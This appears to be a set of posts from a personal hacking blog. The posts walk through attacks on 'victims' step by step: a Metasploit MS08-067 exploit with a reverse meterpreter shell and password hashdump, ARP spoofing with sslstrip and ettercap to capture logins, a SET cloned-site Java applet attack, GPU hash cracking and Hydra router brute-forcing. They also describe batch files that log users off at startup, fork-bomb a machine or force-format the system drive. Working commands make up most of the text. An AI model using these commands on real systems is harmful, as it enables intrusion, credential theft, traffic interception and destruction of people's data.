Metasploit xp sp2 exploit

Hi all,

This time I have been playing with metasploit and wow, it's pretty cool. Obviously this is quite well used, known and regularly updated. As it is the first time that I have used it I decided to make a vid and quick tutorial on how to do it.

So, first off, I set up a vulnerable xp sp2 box, the vulnerability being that Microsoft made it, teehee!
Then I used backtrack 4 with metasploit installed to use the ms08_067_netapi exploit.

Firstly update the framework:

cd /pentest/exploits/framework3
svn up

Once this has finished hit cd to get back to root:

nmap -O 192.168.0.1
msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.0.127  (This is the victims I.P.)
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set LHOST   (I.P. of your pc)
exploit    (this runs the exploit)

If all went well you should have a meterpreter shell open.

I then used some of the commands within the meterpreter to see how good it was!

sysinfo
ipconfig
help
hashdump
screenshot
shell

Video here;
metasploit xpsp2

Cheers.
2neon

Cuda-multiforcer

Righty then, 

This looks at how to crack hashes on the computers GPU. The reason for this, is the parallel architecture of the graphics cards makes certain programs so much faster to run. In this case it's perfect for cracking hashes.

CUDA programs have to be specifically written to run on the GPU and you cannot run anything else on there! Also CUDA is nvidia only, ATi has something similar. 

Right onwards...

Cuda-multiforcer isn't on the backtrack 4 iso. It is in the repositories, therefore;

apt-get install cuda-multiforcer

is all that is needed.

When cuda-multiforcer was first run I received an error; 

./CUDA-Multiforcer: error while loading shared libraries: libargtable2.so.0: cannot open shared object file: No such file or directory.

After some googling, the fix was simple, copy the contents of

/pentest/passwords/cuda-multiforcer/lib32

to

/lib

Ok, running the cuda-multiforcer;

cd /pentest/passwords/cuda-multiforcer

./CUDA-Muliforcer -c charsets/charsetlowercasenumeric -f /root/j2neon/hash.txt --min 3 --max 6 -h MD5

Ok, the options;

-c is the character set which is in charsets  folder depending on what you need 

-f is the location of the file containing the hash's

--min minimum character length  

--max maximum character length 

-h hash type 

Video:

Cuda-multiforcer

The passwords were short but it's still seriously fast!

Until next time.

Cheers 

2neon

What's to come?

Hey all,

As it has again been ages since any real updates I thought I would explain what's going on!

I finished my paper for university, which was on password cracking using parallel processors, my results will be on here but not just yet.

Now I've been playing with GPU related stuff there is going to be a fair amount of CUDA related security tools such as pyrit and crark.

Stay tuned, 

2neon

ARP spoof & ettercap

With a little bit of sslstrip and urlsnarf thrown in for good measure.

So, new blog post and vid are here this is what I did:

Firstly I edited etter.conf to allow the usage of ip tables,
then enabled ip forwarding,
next arp spoofed the broadcast address.

This step tells the router that I am the victim and the victim I am the router. You can set the I.P. to that of one machine or if you use the broadcast address, in my case 255, you can target the victims network.

The next step is to set up the iptables, this takes anything coming in on port 80 i.e. internet traffic, and puts it on to port 1000 which is where sslstrip is running.

sslstrip removes the SSL encryption, this is done by removing the request from the client for the ssl certificate.

Once you have removed this you can then do what ever you wish to the victim.

I used ettercap to capture the passwords and urlsnarf to see what the victim was accessing in realtime. You can also use driftnet which shows the images from the website that your victim is viewing.

The commands:

kate /etc/etter.conf
remove the # on the iptables for linux
echo 1 > /proc/sys/net/ipv4/ip_forward (this enables ip forwarding)
you can use cat  /proc/sys/net/ipv4/ip_forward to see the contents
arpspoof -i eth0 -t 192.168.0.255 192.168.0.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
sslstrip is waiting on port 1000 so
sslstrip -a -k -f  (these commands kill the session and work quietly)
ettercap -T -q -i eth0

The video:
Arp spoof vid

Cheers
2neon

SET Java Applet Attack

I am going to be looking at Java applet attack using SET, which is the social engineering tool kit.

SET uses smart ways of exploiting the user rather than the system. This means that it's easier to get the victim to give you access rather than breaking into the system its self. 

This attack uses the Java applet attack method to firstly clone a web site and add on a fake Java applet with a payload then ettercap uses DNS poisoning to force the user to visit this web site.

Finally the payload is a metasploit reverse connection shell allowing the attack to use the metasploit commands to do whatever he wants. There will be a metasploit video coming soon!

In a shell the directory is changed of that of SET using cd /pentest/exploits/SET

execute set using ./set
update set, then exit reload set using ./set

and update the metasploit modules.

The next step is to change the settings using nano config/set_config

apt-get the 2 Java packages (you don't need both but I would always rather over do it!)

edit the config and save with ctrl + x

Reload SET and then your ready to set up a cloned website. 

Once the victim has accepted the fake java applet, you own him :D 

SET is a fantastic tool, have a look round and play with it. 

Video:
SET Java Applet attack

Cheers

2neon

Geoffrey everything about you is sooooo Geoffrey!

*random post* .bat

This is a pointless post really lol.
Most people know about it already.
I thought it would be a good idea just add a few bits.
Open notepad, copy text in, save as, change save as type to all files, then name.bat
In backtrack use kate and save it as something.bat

3 of the funniest batch files.

shutdown -l

Simple log off batch however chuck it into the startup folder and every time the victim logs in they will be logged out.

:a
start
goto :a

This is a fork bomb.
It opens a cmd shell inside another and more and more until the pc can't handle it,
which is usually seconds. Picture here 

Last one which is harsh but funny, don't run it yourself!

Formatting

*Anti-virus' read this as a trojan so I linked it in a pastebin here*

The speed this formats, is rapid. By the time the victim realises what is going on, its reinstall time.
It formats the system drive in forced mode then shuts the pc down.

The locations of startup do vary between xp and w7.
Here are the default startup locations:

w7: C:\Users\Victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup
xp: C:\Documents and Settings\Victim\Start Menu\Programs\Startup

Next time something more hackerererish.

Cheers
2neon

Meller "What Would Meller Do?" '10

Wireless Router Passwords Hydra

I know, its been a while, but after a fair few pints of Guinness on St. Patricks day I decided to do this video.
Strangely enough the vid didn't need much editing, I'm just very lazy!

Right, the router is a standard virgin media device, the attack is brute force as it just tries all the different passwords on the list, if the password isn't on the list, you're not going to crack it. Note as well that some routers will not let you do this!

The only values that you will really have to change is the location of the word list as my 2neon was full of random words for this video -p.
and the I.p. address of the router as yours might not be on 192.168.0.1


Video:
Hydra cracking 


Cheers
2neon

Under Pricey's regime "You can keep messing about, but you will be kicked out"